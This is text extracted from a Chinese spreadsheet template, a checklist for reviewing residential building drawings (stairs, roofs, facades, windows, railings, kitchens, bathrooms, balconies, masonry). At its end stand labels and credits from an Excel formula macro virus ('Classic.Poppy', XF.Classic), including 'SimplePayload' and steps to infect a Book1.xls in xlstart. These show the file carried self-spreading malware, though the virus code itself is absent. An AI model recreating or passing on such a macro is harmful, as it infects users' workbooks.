门厅、楼梯间、电梯间和电梯前室 单元入口地面、平台高度与无障碍坡度 57 楼梯间宽度 58 楼梯间梯段、平台高度 59 楼梯踏步宽度和高度 60 楼梯间窗和门位置和开启方向 61 电井和水井位置和节点 62 公共部位管井楼板洞口封板措施 63 水井地漏和防水 64 楼梯间、前室消火栓安装 65 前室、电梯厅净高 66 消火栓箱位置 67 电梯井位置、尺寸 68 单元入口门及门禁系统 69 信报箱位置及数量 70 屋面 屋面女儿墙构造及节点大样 71 屋面泛水做法及节点大样 72 屋面女儿墙高度和找坡层节点大样 73 屋面水落口数量和位置及构造措施 74 屋面防水节点大样 75 屋面变形缝处理措施及标准图集选用 76 非上人屋面检修梯做法及标准图集选用 77 建筑立面 外墙色彩 78 外墙装饰部位和材料 79 外墙线条、挑板、构造装饰 80 外墙防开裂、防渗漏措施 81 外立面节点构造 82 屋面女儿墙避雷带 83 雨水立管与门窗线条冲突 84 商业空调机位和门头广告位 85 商业底层室内外高差 86 住宅底层室内外高差 87 门厅门头和门斗位置和做法 88 室外雨蓬 89 门窗 门窗型材的选用 90 门窗的开启方式 91 外窗开启扇 92 门窗安装位置 93 门窗型材与交房标准 94 卫生间窗高度 95 挑高窗的开启扇把手高度 96 空调安装 97 百叶开启位置 98 阳露台的门开启方向 99 门窗玻璃使用 100 商业与小区的窗户 101 室内飘窗未设置窗垛，导致保温收口困难，防渗漏效果不佳 102 栏杆、栏板 室外栏杆位置、高度 103 无障碍坡道栏杆位置、高度 104 上人屋面栏杆位置和、高度 105 非上人屋面栏杆位置、高度 106 生活阳台栏杆、栏板位置、高度 107 休闲阳台栏杆位置、高度 108 楼梯间栏杆位置、高度 109 消防楼梯护手位置、高度 110 户内楼梯栏杆位置、高度 111 护窗栏杆位置、高度 （三） 户内部分 1 入户门 门洞尺寸 2 入户门两侧门垛 3 防火防盗门等级 4 相邻两户入户门外开影响 5 露天入户门雨棚 6 入户花园门 7 玄关 玄关宽度 8 玄关柜预留深度尺寸 9 玄关处开关箱、多媒体箱、灯具开关、可视对讲位置和高度 10 厨房 厨房降板高度 11 厨房门开启方向 12 地柜与地柜之间或地柜与墙之间人员活动空间净宽 13 烟道靠墙位置 14 煤气管水平支管位置 15 插座位置、高度 16 厨房与相邻房间地面高差 17 厨房门窗上口高度 18 厨房门门垛 19 厨房抽油烟机和洗菜盆位置 20 厨房地漏安装方式、位置及地面找平系数和方向 21 厨房防水范围和高度 22 厨房变压式排气道规格、型号 23 卫生间 卫生间降板高度 24 顶部排水管位置 25 卫生间窗台高度和上口高度 26 卫生间墙角梁高度、梁与墙的位置关系 27 卫生间立管位置 28 浴霸孔预留 29 跃层卫生间热水器位置 30 卫生间镜前灯位置和高度 31 卫生间地漏数量、位置及地面找平系数和方向 32 卫生间洁具布置位置和洁具型号 33 卫生间门开启位置和门垛 34 卫生间防水范围和高度 35 卧室 门洞位置、尺寸和门垛 36 卧室窗台高度 37 空调室内机布置 38 冷媒洞口与空调机位位置 39 卧室出露台的挡水坎高度 40 衣柜和床位置对插座、开关的影响 41 卧室顶棚是否有梁 42 客厅和餐厅 客厅窗台高度 43 室内机位置与室外机位置关系 44 冷媒洞口与室内机的位置和距离 45 户内楼梯位置和高度 46 客厅家具位置和尺寸 47 餐桌位置和尺寸 48 客厅推拉门尺寸和位置 49 沙发和插座的位置 50 冰箱和插座位置 51 生活阳台 热水器、拖布池、洗衣机的布置位置和空间尺寸 52 排水立管位置 53 生活阳台地漏数量和位置 54 生活阳台栏杆或栏板材料和高度 55 生活阳台与相邻地面高差 56 阳台边梁或阳台内部梁与墙体位置关系 57 生活阳台防水部位和高度 58 生活阳台墙面和顶面装饰界面划分 59 休闲阳台 阳台栏杆及挡水高度 60 休闲阳台地漏和排水立管位置 61 休闲阳台地面与相邻房间地面高差 62 休闲阳台地面找坡 63 休闲阳台阳台防水部位和高度 64 休闲阳台墙面和顶面装饰界面划分 65 休闲阳台电源配置 （四） 砌体部分 1 维护墙、分户墙和户内隔墙 填充墙材料 2 填充墙构造措施 3 各楼层、各部位构造柱和边框的设置 4 底层砌体构造 5 填充墙顶部构造 6 填充墙洞口位置、高度和尺寸 7 内墙与外墙相通 8 水、电井墙体材料和砌筑方法 9 防火排烟道 10 户内墙体与梁的宽度尺寸Sheet3 XL4Poppy 周一银安装工程审图模板8.16.xls Book1 C:\ProgramFiles\MicrosoftOffice\OFFICE11\xlstart\Book1. **AutoandOnSheetStartsHere** Classic.PoppybyVicodinES WithLordNatas AnExcelFormulaMacroVirus(XF.Classic) Hydrocodone/APAP10-650ForYourComputer (C)TheNarkoticNetwork1998 **SimplePayload** **SetOurValuesandPaths** **AddNewWorkbook,InfectIt,SaveItAsBook1.xls** **InfectWorkbook**